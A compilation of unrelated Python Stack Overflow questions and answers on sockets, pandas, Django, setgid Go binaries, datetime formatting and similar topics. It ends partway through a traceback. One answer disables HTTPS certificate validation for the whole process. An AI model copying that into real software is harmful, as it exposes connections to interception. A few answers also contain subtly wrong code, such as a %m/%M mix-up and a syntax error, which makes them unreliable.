Relative performance of large and small lists and bytearrays of boolean values Question: I was writing a simple [Sieve of Eratosthenes](http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes) in which one produces a list of all of primes up to some number N without performing any division or modular arithmetic. Abstractly, my implementation uses an array of N boolean values which all start out False and are eventually flipped to True over the course of the algorithm. I wanted to know if this would be faster and/or use less memory if I implemented it as a `list` of `0` and `1`, a `list` of `True` and `False`, or a `bytearray` of `0` and `1`. ### Timing (python 2.7) Using python 2.7, I found the following when using N = 10k and N = 30M: $ python -m timeit -s 'import sieve' -n 10 'sieve.soe_list(3000000)' 10 loops, best of 3: 1.42 sec per loop $ python -m timeit -s 'import sieve' -n 10 'sieve.soe_byte(3000000)' 10 loops, best of 3: 1.23 sec per loop $ python -m timeit -s 'import sieve' -n 10 'sieve.soe_list2(3000000)' 10 loops, best of 3: 1.65 sec per loop $ python -m timeit -s 'import sieve' -n 500 'sieve.soe_list(10000)' 500 loops, best of 3: 3.59 msec per loop $ python -m timeit -s 'import sieve' -n 500 'sieve.soe_byte(10000)' 500 loops, best of 3: 4.12 msec per loop $ python -m timeit -s 'import sieve' -n 500 'sieve.soe_list2(10000)' 500 loops, best of 3: 4.25 msec per loop 10k 3M byte (01) 4.12 ms 1.23 s list (01) 3.59 ms 1.42 s list (TF) 4.25 ms 1.65 s What surprises me is that for small values of N, the `list` of integers was the best, and for large values of N, the `bytearray` was the best. The `list` of True and False was always slower. ### Timing (python 3.3) I also repeated the test in python 3.3: $ python -m timeit -s 'import sieve' -n 10 'sieve.soe_list(3000000)' 10 loops, best of 3: 2.05 sec per loop $ python -m timeit -s 'import sieve' -n 10 'sieve.soe_byte(3000000)' 10 loops, best of 3: 1.76 sec per loop $ python -m timeit -s 'import sieve' -n 10 'sieve.soe_list2(3000000)' 10 loops, best of 3: 2.02 sec per loop $ python -m timeit -s 'import sieve' -n 500 'sieve.soe_list(10000)' 500 loops, best of 3: 5.19 msec per loop $ python -m timeit -s 'import sieve' -n 500 'sieve.soe_byte(10000)' 500 loops, best of 3: 5.34 msec per loop $ python -m timeit -s 'import sieve' -n 500 'sieve.soe_list2(10000)' 500 loops, best of 3: 5.16 msec per loop 10k 3M byte (01) 5.34 ms 1.76 s list (01) 5.19 ms 2.05 s list (TF) 5.16 ms 2.02 s Here there was the same ordering with the `list` being better for small N, and the `bytearray` for large N, but the `list` with `True` and `False` was not significantly different than the `list` with `1` and `0`. ### Memory Use The memory use was exactly the same in python 2.7 and 3.3. I used `sys.getsizeof` on the `list` or `bytearray`, which was the same size at the beginning and end of the algorithm. >>> import sieve >>> sieve.verbose = True >>> x = sieve.soe_list(10000) soe_list, 10000 numbers, size = 83120 >>> x = sieve.soe_byte(10000) soe_byte, 10000 numbers, size = 10993 >>> x = sieve.soe_list2(10000) soe_list2, 10000 numbers, size = 83120 >>> x = sieve.soe_list(3000000) soe_list, 3000000 numbers, size = 26791776 >>> x = sieve.soe_byte(3000000) soe_byte, 3000000 numbers, size = 3138289 >>> x = sieve.soe_list2(3000000) soe_list2, 3000000 numbers, size = 26791776 10k 3M byte (01) ~11k ~3.1M list (01) ~83k ~27M list (TF) ~83k ~27M ~~I was a bit surprised~ that the large`bytearray` used more memory than the large `list` given that the large `bytearray` was faster.~~ EDIT: Oops, as pointed out in the comments, I read my own values wrong and interpreted 27M as 2.7M. The list is really much bigger. ### The Question Can anyone explain why this algorithm runs faster using a `list` for small N, and faster using a `bytearray` for large N? ### Test code for reference sieve.py: import sys if sys.version_info.major == 3: xrange = range verbose = False def soe_byte(upper): numbers = bytearray(0 for _ in xrange(0,upper+1)) if verbose: print("soe_byte, {} numbers, size = {}".format(upper, sys.getsizeof(numbers))) primes = [] cur = 2 while cur <= upper: if numbers[cur] == 1: cur += 1 continue primes.append(cur) for i in xrange(cur,upper+1,cur): numbers[i] = 1 return primes def soe_list(upper): numbers = list(0 for _ in xrange(0,upper+1)) if verbose: print("soe_list, {} numbers, size = {}".format(upper, sys.getsizeof(numbers))) primes = [] cur = 2 while cur <= upper: if numbers[cur] == 1: cur += 1 continue primes.append(cur) for i in xrange(cur,upper+1,cur): numbers[i] = 1 return primes def soe_list2(upper): numbers = list(False for _ in xrange(0,upper+1)) if verbose: print("soe_list2, {} numbers, size = {}".format(upper, sys.getsizeof(numbers))) primes = [] cur = 2 while cur <= upper: if numbers[cur] == True: cur += 1 continue primes.append(cur) for i in xrange(cur,upper+1,cur): numbers[i] = True return primes Answer: > Can anyone explain why this algorithm runs faster using a list for small N, > and faster using a bytearray for large N? This is all very implementation-specific, but you'll see this kind of phenomena occur commonly in practice where using smaller data types will perform worse on small inputs and better on large. For example, it's common to see this kind of thing happening if you're using bitwise logic to extract the nth bit (where `n` is a variable) vs. just working with an array of booleans. Extracting the nth bit from a byte requires more instructions when `n` is a runtime variable than just setting the whole byte, but the bitset uses less space. Broadly speaking, it's generally because the instructions used to access those smaller types are more expensive, but the hardware cache is so much faster than DRAM access and the improved spatial locality you get from using smaller types more than makes up for it as your input sizes get larger and larger. In other words, spatial locality plays an increasingly important role as you hit those bigger inputs, and smaller data types give you more of it (allowing you to fit more adjacent elements into a cache line). You might also get improved temporal locality (more frequently accessing the same adjacent elements in a cache line). So even if the elements require more instructions or more expensive instructions when they've been loaded into registers, that overhead is more than compensated by the fact that now you're accessing more memory from the cache. Now as to why `bytearrays` might require more instructions or more expensive instructions than a list of integers, I'm not sure. That's extremely case-by- case, implementation-specific details. But perhaps in your case, it's trying to load the nth element of a bytearray into dword-aligned boundaries and dword-sized registers, for example, and having to extract the specific byte to modify within the register using additional instructions and operands. This is all speculation unless we know the exact machine instructions emitted by your Python compiler/interpreter for your specific machine. But whatever the case may be, your tests suggest that `bytearrays` require more expensive instructions to access, but are much more cache-friendly (which more than compensates as you hit those larger inputs). In any case, you'll see this kind of thing happening a lot when it comes to smaller data types vs. larger ones. This includes compression where processing compressed data, created carefully with attention to hardware details like alignment, can sometimes outperform uncompressed data because the additional processing required to decompress data is compensated by the improved spatial locality of the compressed data, but only for sufficiently-large inputs where memory access starts to play a more critical role.
Embded Python Import Ctypes fails Question: I'm using Python for .Net using python 2.7, I copied All the needed directories from the Python2.7 into my Application Directory when I try to import ctypes, in the interactive shell import ctypes the Error is Traceback (most recent call last): File "<stdin>", line 1, in <module> File "C:\TesetPyNet\bin\Debug\lib\ctypes\__init__.py", line 10, in <module> from _ctypes import Union, Structure, Array ImportError: DLL load failed: The specified module could not be found. what I'm asking is there is any away to set the path to the Dll folder. Note: when I embeded python 3.4.3 into my c# app and copied the Directories of python run-time into my app directory, It worked fine with importing ctypes, even on OS with no already Installed versions of python Answer: After some digging and inspection, _ctypes.pyd is nothing but an OS specific (dynamic link library'for windows'-Shared object 'for UNIX like') So when I inspected its dependencies,unlike python27.dll that depeneds on msvcr100.dll.It depends on msvcr90.dll so the solution is Only to copy msvcr90.dll into the working directory of the application OR the DLLs directory, beside _ctypes.pyd
<class 'socket.error'>([Errno 111] Connection refused) Question: I'm working on an home automation app using python, but since migration this from my local setup to two physical machines(Server, Client) i am getting a connection refused error: > Traceback (most recent call last): File "/opt/web- > apps/web2py/gluon/restricted.py", line 227, in restricted exec ccode in > environment File "/opt/web- > apps/web2py/applications/Home_Plugs/controllers/default.py", line 85, in > File "/opt/web-apps/web2py/gluon/globals.py", line 393, in self._caller = > lambda f: f() File "/opt/web-apps/web2py/gluon/tools.py", line 3440, in f > return action(*a, **b) File "/opt/web- > apps/web2py/applications/Home_Plugs/controllers/default.py", line 32, in > toggle GPIO.setup(light.OnPin,GPIO.OUTPUT) File > "applications/Home_Plugs/modules/GPIOClient.py", line 23, in setup File > "applications/Home_Plugs/modules/GPIOClient.py", line 18, in send host = > '192.168.1.79' File "/usr/lib64/python2.7/socket.py", line 224, in meth > return getattr(self._sock,name)(*args) error: [Errno 111] Connection refused **Server Code** : #!/usr/bin/env python import socket import RPi.GPIO as GPIO import sys import logging SETUP = chr(0) OUTPUT = chr(1) GPIO.setmode(GPIO.BOARD) def gpio_setup(data): pin,dir = ord(data[0]),ord(data[1]) GPIO.setup(pin,dir) logging.gpioServerLog("setup" + str(pin) + str(dir)) return 0 def gpio_output(data): pin,val = ord(data[0]),ord(data[1]) GPIO.output(pin,val) logging.gpioServerLog("out" + str(pin) + str(val)) return 0 if __name__=='__main__': HOST = '' PORT = 21567 BUFSIZ = 1024 ADDR = (HOST, PORT) serversock = socket.socket() serversock.bind(ADDR) serversock.listen(5) while 1: ret = None logging.gpioServerLog('waiting for connection...') clientsock, addr = serversock.accept() logging.gpioServerLog('...connected from:' + str(addr)) data = clientsock.recv(BUFSIZ) if data[0] == SETUP: ret = gpio_setup(data[1:]) elif data[0] == OUTPUT: ret = gpio_output(data[1:]) if ret: clientsock.send('Thank you for conencting') clientsock.send(ret) clientsock.close() **Client Code** : #!/usr/bin/env python # coding: utf8 import socket import struct SETUP_CMD = chr(0) OUTPUT_CMD = chr(1) OUTPUT = chr(0) INPUT = chr(1) ON = chr(1) OFF = chr(0) def send(data): sock = socket.socket() host = '192.168.1.79' port = 21567 sock.connect((host,port)) sock.send(data) sock.close def setup(pin,dir): data = struct.pack("ccc",SETUP_CMD,chr(pin),dir) send(data) def output(pin,val): data = struct.pack("ccc",OUTPUT_CMD,chr(pin),val) send(data) **Machines** : Server - Raspbian Wheezy/Python 2.7 Client - CentOS 7/Python 2.7 I have disabled all firewalls to ensure no blocking of connections. Telnet works i also have a test client.py script whihc also works when ran from client commandline: #!/usr/bin/python # This is client.py file import socket # Import socket module import GPIOClient as GPIO import time GPIO.setup(11,GPIO.OUTPUT) GPIO.output(11,GPIO.ON) time.sleep(1) GPIO.setup(11,GPIO.INPUT) Any help would be much appreciated Any more information require please let me know Thanks in Advance Answer: Turns out there was 2 incorrect carriage returns in my GPIOClient.py Remove and now all is working
Basic addition with Python, numbers don't add Question: I'm pretty new to Python and I was trying to make a basic addition program. Here is the source so far: from os import system import time while True: system("cls") print "Number 1:" num1 = raw_input() system("cls") print "Number 2:" num2 = raw_input() system("cls") sum = num1 + num2 print sum time.sleep(4) It just puts num1 and num2 together instead of actually adding the numbers. Like if I put 4 + 4 it'd do 44 instead of 8. I understand WHY it does this I just want to know how to fix it. Answer: You are summing strings, which results in concatenation, while you want to treat the values as _numbers_ instead. Convert the string to a number first. Use the [`int()` function](https://docs.python.org/2/library/functions.html#int) to convert to integer numbers, for example: num1 = int(raw_input()) # ... num2 = int(raw_input())
HTTPS proxy server python Question: I have a problem with my ssl server (in Python). I set the SSL proxy connection in my browser, and try to connect to my ssl server. This is the server: import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, server_side=True, certfile='server.crt', keyfile='server.key', do_handshake_on_connect=False) httpd.serve_forever() This is the error: SSLError: [SSL: HTTPS_PROXY_REQUEST] https proxy request (_ssl.c:1750) I try to connect to the server in the browser. its work if I went to address "<https://127.0.0.1:443>". But, if I use in the server to proxy, I get the error... How can I fix this? Answer: I don't think you understand how a proxy server for HTTPS works. What you are doing is to create a plain HTTPS server. What you should do is to create a HTTP server which handles the CONNECT request and creates a tunnel to the requested target. See <http://en.wikipedia.org/wiki/HTTP_tunnel#HTTP_CONNECT_tunneling>
Python efficient socket communication Question: i recently started making a pure skype resolver and after doing everything fine i stuck on the socket communication. ## Let me explain I'm using python to get the user's IP and then the script opens a socket server and it sends the username to an other program written in .NET Why is that? Well, the python skype API is not that powerfull so i'm using the axSkype library in order to gather more info. ## The problem The python socket sends the username as it should but i dont know the most efficient way to get the info back. I was thinking opening a socket server in the same script and wait for what the .NET program sends back. I dont really kwon how to make this as fast as possible so i'm asking for your help. ## The code class api: def GET(self, username): skypeapi.activateSkype(username) time.sleep(1) # because skype is ew buf = [] print("==========================") print("Resolving user " + username) #This is where i'm starting the socket and sending data s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("127.0.0.1", 5756)) s.sendall(username) s.close() #at this poaint i want to get data back from the .NET app for logfile in glob.glob('*.log'): buf += logparse.search(logfile, username) print("Done!") print("==========================") return json.dumps(buf) class index: def GET(self): return render.index() if __name__ == "__main__": app.run() Answer: You can bind your socket to the connection. This way, your socket stream will remain open and you will be able to send and receive information easily. Integrate this with the `_thread` module and you will be able to handle multiple streams. Here is some example code that binds a socket to a stream and just sends back whatever the clients sends it(Although in your case you could send whatever data is necessary) import socket from _thread import * #clientHandle function will just receive and send stuff back to a specific client. def clientHandle(stream): stream.send(str.encode("Enter some stuff: ")) while True: #Here is where the program waits for a response. The 4000 is a buffer limit. data = stream.recv(4000) if not data: #If there is not data, exit the loop. break stream.senddall(str.encode(data + "\n")) #Creating socket. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "" #In this case the host is the localhost but you can put your host port = 80 try: #Here the program tries to bind the socket to the stream. s.bind((host, port)) except socket.error as e: print("There was an error: " + str(e)) #Main program loop. Uses multithreading to handle multiple clients. while True: conn, addr = s.accept() print("Connected to: " + addr[0] + ": " + str(addr[1])) start_new_thread(clientHandle,(conn,)) Now in your case, you can integrate this into your `api` class(Is that where you want to integrate it? Correct me if I'm wrong.). So now when you define and bind your socket, use this code: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((host, port)) Where, in your case, `host` is `127.0.0.1`, in other words, your localhost, which can also be accessed by `socket.gethostbyname(socket.gethostname())`(but that's a bit verbose), and then `port`, which for you is `5756`. Once you have bounded your socket, you have to accept connections through the following syntax: conn, addr = s.accept() Which then you can pass `conn` and `addr` to whatever function or just use in any other code. Regardless of what you use it in, to receive data you can use `socket.recv()` and pass it a buffer limit. (Remember to decode whatever you receive.) And of course, you send data by using `socket.sendall()`. If you combine this with the `_thread` module, as shown above, you can handle multiple api requests, which could come handy in the future. Hope this helps.
Disable ssl certificate validation in mechanize Question: I am new to python and I was trying to access a website using mechanize. br = mechanize.Browser() r=br.open("https://172.22.2.2/") Which gives me the following error: Traceback (most recent call last): File "<pyshell#4>", line 1, in <module> br.open("https://172.22.2.2/") File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_mechanize.py", line 203, in open return self._mech_open(url, data, timeout=timeout) File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_mechanize.py", line 230, in _mech_open response = UserAgentBase.open(self, request, data) File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_opener.py", line 193, in open response = urlopen(self, req, data) File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_urllib2_fork.py", line 344, in _open '_open', req) File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_urllib2_fork.py", line 332, in _call_chain result = func(*args) File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_urllib2_fork.py", line 1170, in https_open return self.do_open(conn_factory, req) File "/home/freeza/.local/lib/python2.7/site-packages/mechanize/_urllib2_fork.py", line 1118, in do_open raise URLError(err) URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:590)> Can you tell me how to disable ssl certificate validation in mechanize in python? Also can you tell me how to include certificate if I get it? Thanks Answer: Add this code snippet to disable HTTPS certificate validation before br.open(). import ssl try: _create_unverified_https_context = ssl._create_unverified_context except AttributeError: # Legacy Python that doesn't verify HTTPS certificates by default pass else: # Handle target environment that doesn't support HTTPS verification ssl._create_default_https_context = _create_unverified_https_context
read csv files pandas slice arrays Question: I'm a python newbie and am having trouble reading a csv to pandas and working with it. Here is a bit of my csv file: A B 1 56 2 76 3 23 4 45 5 54 6 65 7 22 And my python code: import numpy as np import pandas as pd from math import exp from math import sqrt g = pd.DataFrame.from_csv('test.csv') a = g.iloc[2:4,1] print(a) I get the following error: IndexError: index 1 is out of bounds for axis 0 with size 1 I've also tried: a = g.iloc[2:4,'B'] and many other permutations for defining columns and rows. Also when I print g, I get the following: B A 2015-05-01 56 2015-05-02 76 2015-05-03 23 2015-05-04 45 2015-05-05 54 2015-05-06 65 2015-05-07 22 I can't understand why A and B are not aligned. I'm just using this an example, but in general I'd like to read in large csv files and then perform operations on certain aspects of the matrix. Any help would be appreciated. Answer: Firstly don't use [`DataFrame.from_csv`](http://pandas.pydata.org/pandas- docs/stable/generated/pandas.DataFrame.from_csv.html#pandas.DataFrame.from_csv) it's no longer supported use the top level [`read_csv`](http://pandas.pydata.org/pandas- docs/stable/generated/pandas.read_csv.html#pandas.read_csv) instead. So this: a = g.iloc[2:4,1] is wrong syntax, you want: a = g.iloc[2:4]['A'] Secondly, by default `DataFrame.from_csv` uses the first column as the index which is why column 'A' is your index, if you passed `index_col=None` then you get the desired result: In [6]: pd.DataFrame.from_csv(file_path) Out[6]: B A 1 56 2 76 3 23 4 45 5 54 6 65 7 22 In [7]: pd.DataFrame.from_csv(file_path, index_col=None) Out[7]: A B 0 1 56 1 2 76 2 3 23 3 4 45 4 5 54 5 6 65 6 7 22 Correct syntax: In [9]: df.iloc[2:4]['A'] Out[9]: 2 3 3 4 Name: A, dtype: int64 Additionally [`read_csv`](http://pandas.pydata.org/pandas- docs/stable/generated/pandas.read_csv.html#pandas.read_csv) the default for `index_col` is `None` so your problem with the alignment would not have happened if you had used `read_csv`. Please check the [docs](http://pandas.pydata.org/pandas- docs/stable/indexing.html) on indexing and selecting. **EDIT** As @Jeff suggested and I always agree with Jeff, for this kind of selection `ix` is the typical selection method but it's behaviour differs from `iloc` in that it does include the end row selection unlike `iloc`: In [10]: df.ix[2:4,'A'] Out[10]: 2 3 3 4 4 5 Name: A, dtype: int64 So I don't know what you wanted row selection-wise but be aware of the different semantics.
Is SetGID/SetUID on a Go[lang] binary safe? Question: I've written a simple [![](//i.stack.imgur.com/sawHl.png)go](/questions/tagged/go "show questions tagged 'go'") program using YAML and the MySQL drivers with the intention of providing a simple utility to update a database without exposing the username and password credentials to the user executing the program. (I'm well aware that I could also write this in Python or some other scripting language and manage the permissions delegations using [sudo](/questions/tagged/sudo "show questions tagged 'sudo'") but I'd like to try a different approach here, for my own edification). After building the program I've used `chgrp sys dbcreds.yaml && chmod 0640 dbcreds.yaml` and `chgrp sys ./myprog && chmod g+s ./myprog` (as root) ... and everything seems to work. (I also tested that access was denied, as it should be, prior to the setGID step). I also tested `strace` results in permission denied (as it should be). (For fun I also ran `ltrace -S` on it; this is under Linux. As expected I did not see many normal libc function calls ... through I am surprised to have seen a few _pthread_....()_ and one _malloc()_ calls in that listing. I guess the GO runtime does link to some system library functions after all). My question: is this safe? Is there any known way to cause a Go program, such as this (below) to core dump or expose its memory after it has read these private credentials? Is there a way to drop my SGID privs after I've read my credentials? Are there any examples of SUID/SGID exploits on Go binaries? Is there a better way to do this? One other note: I find the **gopkg.in/yaml.v2** semantics to be a bit disconcerting. In my YAML file I have something like: --- user me pw mypassword But in my code I have to use **_User_** and **_Pw_** (capitalized) rather than using lower case as I would have expected. I presume this is an implementation decision by the authored of [Goyaml](http://gopkg.in/yaml.v2). Is that so? #!go package main import ( "fmt" "database/sql" _ "github.com/go-sql-driver/mysql" "gopkg.in/yaml.v2" "io/ioutil" "os" "strconv" ) type Creds struct { User string Pw string } func main() { filename := "./dbcreds.yaml" var creds Creds conf, err := ioutil.ReadFile(filename) if err != nil { panic(err) } err = yaml.Unmarshal(conf, &creds) if err != nil { panic(err) } var arg1 int arg1, err = strconv.Atoi(os.Args[1]) if err != nil { panic(err.Error()) // Just for example purpose. You should use proper error handling instead of panic } fmt.Println("arg1: ", arg1, "\n") dsn := fmt.Sprintf("%s:%s@/mydatabase", creds.User, creds.Pw) db, err := sql.Open("mysql", dsn) if err != nil { panic(err.Error()) } defer db.Close() err = db.Ping() if err != nil { panic(err.Error()) } stmtOut, err := db.Prepare("SELECT quant FROM c WHERE id >= ?") if err != nil { panic(err.Error()) } defer stmtOut.Close() rows, err := stmtOut.Query(arg1) if err != nil { panic(err.Error()) } defer rows.Close() for rows.Next() { var quant int err = rows.Scan(&quant) if err != nil { panic(err.Error()) } fmt.Println(quant) } } Answer: A setuid/setgid Go program is reasonably safe, with one major caveat. Go setuid/setgid programs are in general no more, and no less, secure than C/C++ setuid/setgid programs. It's true that you can force a Go program to dump core by running it with the environment variable GOTRACEBACK=crash and then sending it a signal. However, this is OK for your purposes because the Go program will (try to) create the core dump by sending itself the SIGABRT signal. The kernel will not generate a core dump for a setuid/setgid program killed by a signal. The major caveat for Go is that on GNU/Linux systems you can not drop back to the original user ID. This is because of how setuid (and setgid, setgroups, setreuid, setregid, setresuid, and setresgid) are implemented for multi- threaded programs on GNU/Linux. The details are at <http://golang.org/issue/1435> . On your final note Uw and Pw need to be capitalized because the standard reflect package does not permit writing to unexported fields.
Building an animation using Python Gizeh Question: I am able to create a simple diagram with shapes and numbers. I am using the following code: import gizeh as gz W, H = 500, 300 surface = gz.Surface(W,H, bg_color=(1,0.7,1)) for a in range(1,9): rect = gz.rectangle(lx = 10, ly = 10, xy=(W/a,H/a), fill =(0,1,0.7)) rect.draw(surface) txt = gz.text(str(a), fontfamily="Dancing Script", fontsize=15, fill=(0,0,0),xy=(W/a,H/a)) txt.draw(surface) surface.ipython_display() I have also created a version using moviepy: import numpy as np import gizeh as gz import moviepy.editor as mpy W, H = 500, 300 duration = 5 figpath = '/tmp/' fps = 1 def make_frame(t): surface = gz.Surface(W,H, bg_color=(1,1,1)) rect = gz.rectangle(lx = 10, ly = 10, xy=(W/(t+1),H/2), fill =(0,1,0.7)) rect.draw(surface) txt = gz.text(str(t+1), fontfamily="Dancing Script", fontsize=15, fill=(0,0,0),xy=(W/(t+1),H/2)) txt.draw(surface) return surface.get_npimage() clip = mpy.VideoClip(make_frame, duration=duration) clip.write_videofile(figpath + 'trax_0.mp4', fps=fps) clip.ipython_display(fps=fps, width=W, autoplay=0, loop=0) I would like to be able to create animated GIF using a time delay between each step of the cycle. Answer: Try to use MoviePy - a module from the author of Gizeh. Look at a good article where Gizeh and MoviePy are used for the animation: <http://zulko.github.io/blog/2014/09/20/vector-animations-with-python/>
Python Uncertainties Unumpy type bug? Question: I am having a hard time with pythons uncertainties package. I have to evaluate experimental data with python, which I've been doing for a while but never encountered the following problem: >>>from uncertainties import ufloat >>>from uncertainties import unumpy as unp >>>u = ufloat(5, 1) >>>l = unp.log(u) >>>print(l) 1.61+/-0.2 Everything seems to be all right, right? But here comes the strange part: >>>print(type(l)) <type 'numpy.ndarray'> Which is a **huge** problem because this is how I encountered it: >>>print(l.n) AttributeError: 'numpy.ndarray' object has no attribute 'n' Right now in my work I desperately need the nominal values and standard devivations separately for linear regressions. What's really strange about this and makes me think it actually is a bug is the fact, that printing the variable actually works like intended but python "thinks" its type is an array when its actually supposed to be an ufloat. Any ideas or tips for an easy workaround? Do you think it is a bug or did I miss anything and it is actually my mistake? To prevent anybody from asking why I am doing such an easy calculation: That's just an example of course. In my actual work I have many many much more complex values stored in arrays. Edit1: <https://pythonhosted.org/uncertainties/user_guide.html> Edit2: Ok here is the code I am actually having problems with, the above was just supposed to illustrate the problem. d, t, n = loadtxt('mess_blei_gamma.txt', unpack=True) fh = open('table_blei.txt', 'w') nn = [] ln = [] for i in range(0, len(d)): nn.append(norm(n[i], t[i], n0)) ln.append(unp.log(nn[i])) fh.write(tex(str(d[i])+" & "+str(t[i])+" & "+str(n[i])+" & "+str(nn[i])+" & "+str(ln[i]))) #works how it's supposed to, the table is perfectly fine fh.close() print(unp.nominal_values(nn)) #works fine print(unp.nominal_values(ln)) #error Answer: First of all, many unumpy objects are basically numpy arrays: >>>arr = unp.uarray([1, 2], [0.01, 0.002]) >>>arr [1.0+/-0.01 2.0+/-0.002] >>>type(arr) <type 'numpy.ndarray'> so you should not be surprised. By the way, ufloat is a function and not a type: >>>x = ufloat(0.20, 0.01) # x = 0.20+/-0.01 >>>print type(x) <class 'uncertainties.Variable'> >>>type(ufloat) <type 'function'> Secondly, in order to get the nominal values you should use: unumpy.nominal_values(l) EDIT: After you edited your original message, I think I understand your problem. You can use unumpy.log outside the for loop like this: >>>nn = [ ufloat(1, 2), ufloat(53, 4)] >>>ln = unp.log(nn) >>>ln [0.0+/-2.0 3.970291913552122+/-0.07547169811320754] >>>type(ln) <type 'numpy.ndarray'> >>>(unp.nominal_values(ln)) #now it works fine [ 0. 3.97029191] I also agree that this behavior is a bit weird. A code that runs well and achieves your goal: d, t, n = loadtxt('mess_blei_gamma.txt', unpack=True) fh = open('table_blei.txt', 'w') nn = (norm(n[i], t[i], n0) for i range(0, len(d))) ln = unp.log(nn) for i in range(0, len(d)): fh.write(tex(str(d[i])+" & "+str(t[i])+" & "+str(n[i])+" & "+str(nn[i])+" & "+str(ln[i]))) #works how it's supposed to, the table is perfectly fine fh.close() print(unp.nominal_values(nn)) print(unp.nominal_values(ln))
How can this datetime variable be converted to the string equivalent of this format in python? Question: I am using python 2.7.10 I have a datetime variable which contains `2015-03-31 21:02:36.452000`. I want to convert this datetime variable into a string which looks like `31-Mar-2015 21:02:36`. How can this be done in python 2.7? Answer: Use strptime to create a datetime object then use strftime to format it they way you want: from datetime import datetime s= "2015-05-31 21:02:36.452000" print(datetime.strptime(s,"%Y-%m-%d %H:%M:%S.%f").strftime("%d-%b-%Y %H:%m:%S")) 31-May-2015 21:05:36 The format string is the following: %Y Year with century as a decimal number. %m Month as a decimal number [01,12]. %d Day of the month as a decimal number [01,31]. %H Hour (24-hour clock) as a decimal number [00,23]. %M Minute as a decimal number [00,59]. %S Second as a decimal number [00,61]. %f Microsecond as a decimal number In strftime we use %b which is: %b Locale’s abbreviated month name. Obviously we just ignore the microseconds in the output string. If you already have a datetime object just call strftime on the datetime object: print(dt.strftime("%d-%b-%Y %H:%m:%S"))
ajax failing getting data from pre element after it gets filled Question: The thing is that i have an embedded python interpreter and after a user presses "Run", the output from interpreter gets transferred to a pre element. I want to take that data from pre element and send it to django server through AJAX. The problem is that even after assigning of that data to a variable, django gets nothing. Also i can start interpreter and AJAX script only after pressing "Run", both work work with onclick. I am using POST request. `$(document).ready(function(){ $('#run').click(function(){ var input_string = String(document.getElementById("output").innerHTML); alert(input_string); $.ajax({ url: '/courses/python3/lesson_validate/{{ lesson_number }}/', data: {"text": input_string, csrfmiddlewaretoken: '{{ csrf_token }}'}, dataType: "json", type:"POST", success: function(data, textStatus){ alert('get_response'); alert(data); }, error : function(xhr,errmsg,err) { alert(xhr.status + ": " + xhr.responseText); } }); }); }); ` So that code works perfectly `var input_string = String(document.getElementById("output").innerHTML); alert(input_string); ` but when i try to use that variable in ajax, server fails to get it. I tried using `async: false`, it doesn't change anything. This is view code: `def lesson_validate(request,lesson_number): args = {} args.update(csrf(request)) out_compare = Lessons.objects.get(id=lesson_number).lesson_output if request.method == "POST" and request.POST.get('text') == out_compare: text = "they are equal" return HttpResponse(json.dumps(text), content_type='application/javascript') else: args['testtest']=request.POST.get('text') return render_to_response('course_lesson.html', args, context_instance=RequestContext(request))` After i check `request.POST.get('text')` it is empty The question is how can i get data from ajax, from a variable assigned before, not just from a sting? Answer: It looks like you're sending JSON to the server in that request, so to get the variables in Django you'd need to do: def lesson_validate(request,lesson_number): import json data = json.loads(request.body) text = data.get('text') # Do stuff.
Using cElementTree in python 3 Question: `cElementTree` is the fast, C implementation of the XML API `ElementTree`. In python 2 you would load it explicitly (aliasing it to `ElementTree`), but in [the Python 3 docs](https://docs.python.org/3.4/library/xml.etree.elementtree.html) I read this: > _Changed in version 3.3:_ This module will use a fast implementation > whenever available. The xml.etree.cElementTree module is deprecated. Indeed, `xml.etree.cElementTree.py` now simply imports from `xml.etree.ElementTree`. The question: How do I get access to the "fast implementation"? How do I tell if it's "available", and where do I get it from if for some reason it's not distributed with python? Introspection on `ElementTree` in my program suggests that I'm getting the python version. In `ElementTree.py`, I didn't spot any hooks to the C version. When and how does it come into play? The `ElementTree` documentation offered no clues, and neither did a quick search on google and stackoverflow. Answer: From the "[What's New in Python 3.3](https://docs.python.org/3.3/whatsnew/3.3.html)" docs: > The `xml.etree.ElementTree` module now imports its C accelerator by default; > there is no longer a need to explicitly import xml.etree.cElementTree (this > module stays for backwards compatibility, but is now deprecated). In > addition, the iter family of methods of Element has been optimized > (rewritten in C). The module’s documentation has also been greatly improved > with added examples and a more detailed reference. While it may look as though it isn't happening the import takes place silently. You will find a section of code in `ElelementTree.py` that reads # Import the C accelerators try: # Element, SubElement, ParseError, TreeBuilder, XMLParser from _elementtree import * except ImportError: pass else: # Overwrite 'ElementTree.parse' and 'iterparse' to use the C XMLParser class ElementTree(ElementTree): ... There doesn't seem to be an easy way to verify that the C module is being imported, but I think you can take it that it is. If you are really worried (and I personally wouldn't be) then you can patch a `print` in there to check.
Run Django tests PyCharm with coverage Question: I'm quite a beginner with Django, especially with testing. Since it is a best practice, I hope I can get this up and running... I just started a project (called leden), and made my first testfile **test_initial.py**. class test_LidViewTests(TestCase): def setUp(self): self.user = User.objects.create_user(username='jacob', email='[email protected]', password='top_secret') self.client.login(username='jacob', password='top_secret') def test_view_non_existing_lid(self): response = self.client.get(reverse('leden:lid', kwargs={'lid_id': 1})) self.assertEqual(response.status_code, 404) When I run the tests with the command **python manage.py test** , all tests are run. When I try to run my tests in PyCharm however (I used [this](http://emptysqua.re/blog/unittests-code-coverage-in-pycharm/) tutorial), I get the following errors: /home/mathijs/.virtualenvs/ledenbestand/bin/python3.4 /opt/pycharm-3.4/helpers/pycharm/django_test_manage.py test leden.tests /home/mathijs/Development/ledenbestand Testing started at 17:00 ... /home/mathijs/.virtualenvs/ledenbestand/lib/python3.4/importlib/_bootstrap.py:321: RemovedInDjango19Warning: django.utils.unittest will be removed in Django 1.9. return f(*args, **kwds) /home/mathijs/.virtualenvs/ledenbestand/lib/python3.4/importlib/_bootstrap.py:321: RemovedInDjango19Warning: django.utils.unittest will be 